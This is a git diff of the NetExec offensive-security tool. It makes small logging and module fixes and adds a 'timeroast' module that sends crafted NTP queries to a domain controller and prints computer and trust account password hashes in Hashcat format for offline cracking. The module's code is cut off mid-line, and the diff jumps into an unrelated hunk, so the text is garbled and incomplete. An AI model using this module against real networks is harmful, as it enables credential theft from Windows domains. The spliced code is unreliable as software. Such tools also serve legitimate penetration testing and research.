diff --git a/nxc/logger.py b/nxc/logger.py index 2a30a025..f44c37a4 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,7 +3,6 @@ from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys -import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -43,7 +42,7 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): @@ -56,9 +55,6 @@ class SmartDebugRichHandler(RichHandler): def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" - # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging - record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename @@ -177,7 +173,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -209,17 +205,5 @@ class NXCAdapter(logging.LoggerAdapter): ) -class TermEscapeCodeFormatter(logging.Formatter): - """A class to strip the escape codes for logging to files""" - - def __init__(self, fmt=None, datefmt=None, style="%", validate=True): - super().__init__(fmt, datefmt, style, validate) - - def format(self, record): # noqa: A003 - escape_re = re.compile(r"\x1b\[[0-9;]*m") - record.msg = re.sub(escape_re, "", str(record.msg)) - return super().format(record) - - # initialize the logger for all of nxc - this is imported everywhere nxc_logger = NXCAdapter() diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 2cb4f45c..efec5532 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -373,7 +373,7 @@ class NXCModule: if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( - searchBase=self.baseDN, + searchBase=_lookedup_principal, searchFilter=f"(distinguishedName={_lookedup_principal})", attributes=["nTSecurityDescriptor"], searchControls=controls, diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 6697c332..da7d1bec 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -286,8 +286,9 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: + file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) - if file_extension.lower() in self.exclude_exts: + if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py new file mode 100644 index 00000000..bc87f8e0 --- /dev/null +++ b/nxc/modules/timeroast.py @@ -0,0 +1,112 @@ +from binascii import hexlify, unhexlify +from select import select +from time import time +from socket import socket, AF_INET, SOCK_DGRAM +from struct import pack, unpack + + + +def hashcat_format(rid, hashval, salt): + """Encodes hash in Hashcat-compatible format (with username prefix).""" + return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" + +class NXCModule: + """ + Module by Disgame: @Disgame + Based on research from SecuraBV (@SecuraBV) + + https://github.com/SecuraBV/Timeroast/ + + Much of this code was copied from the original implementation. + """ + + name = "timeroast" + description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self): + self.context = None + self.module_options = None + + # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. + self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") + + + def options(self, context, module_options): + self.rids = range(1, 2**31) + self.rate = 180 + self.timeout = 24 + self.src_port = 0 + self.old_hashes = False + self.target = None + + if "rids" in module_options: + self.rids = module_options["rids"] + if "rate" in module_options: + self.rate = module_options["rate"] + if "timeout" in module_options: + self.timeout = module_options["timeout"] + if "src_port" in module_options: + self.src_port = module_options["src_port"] + if "old_hashes" in module_options: + self.old_hashes = module_options["old_hashes"] + + def on_login(self, context, connection): + if self.target is None: + self.target = connection.host + + context.log.display("Starting Timeroasting...") + + for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): + context.log.highlight(hashcat_format(rid, md5hash, salt)) + + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. + Rate is the number of queries per second to send. + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network + issues. + + Yields (rid, hash, salt) pairs, where salt is the NTP response data. + """ + # Flag in key identifier that indicates whether the old or new password should be used. + keyflag = 2**31 if old_pwd else 0 + + # Bind UDP socket. + with socket(AF_INET, SOCK_DGRAM) as sock: + try: + sock.bind(("0.0.0.0", src_port)) + except PermissionError: + context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") + + + query_interval = 1 / rate + last_ok_time = time() + rids_received = set() + rid_iterator = iter(rids) + + while time() < last_ok_time + giveup_time: + # Send out query for the next RID, if any. + query_rid = next(rid_iterator, None) + if query_rid is not None: + query = self.ntp_prefix + pack(" 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") - @requires_admin def interfaces(self): """ diff --git a/poetry.lock b/poetry.lock index 2e614965..6b899e7d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -894,7 +894,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20240916.171021.65b774de" +version = "0.13.0.dev0+20241125.162952.ea27e8b2" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -902,12 +902,12 @@ files = [] develop = false [package.dependencies] -charset-normalizer = "*" +charset_normalizer = "*" flask = ">=1.0" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" -pyasn1-modules = "*" +pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} @@ -918,7 +918,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "65b774ded17a79f1041397202852eab0c24cd039" +resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" [[package]] name = "iniconfig"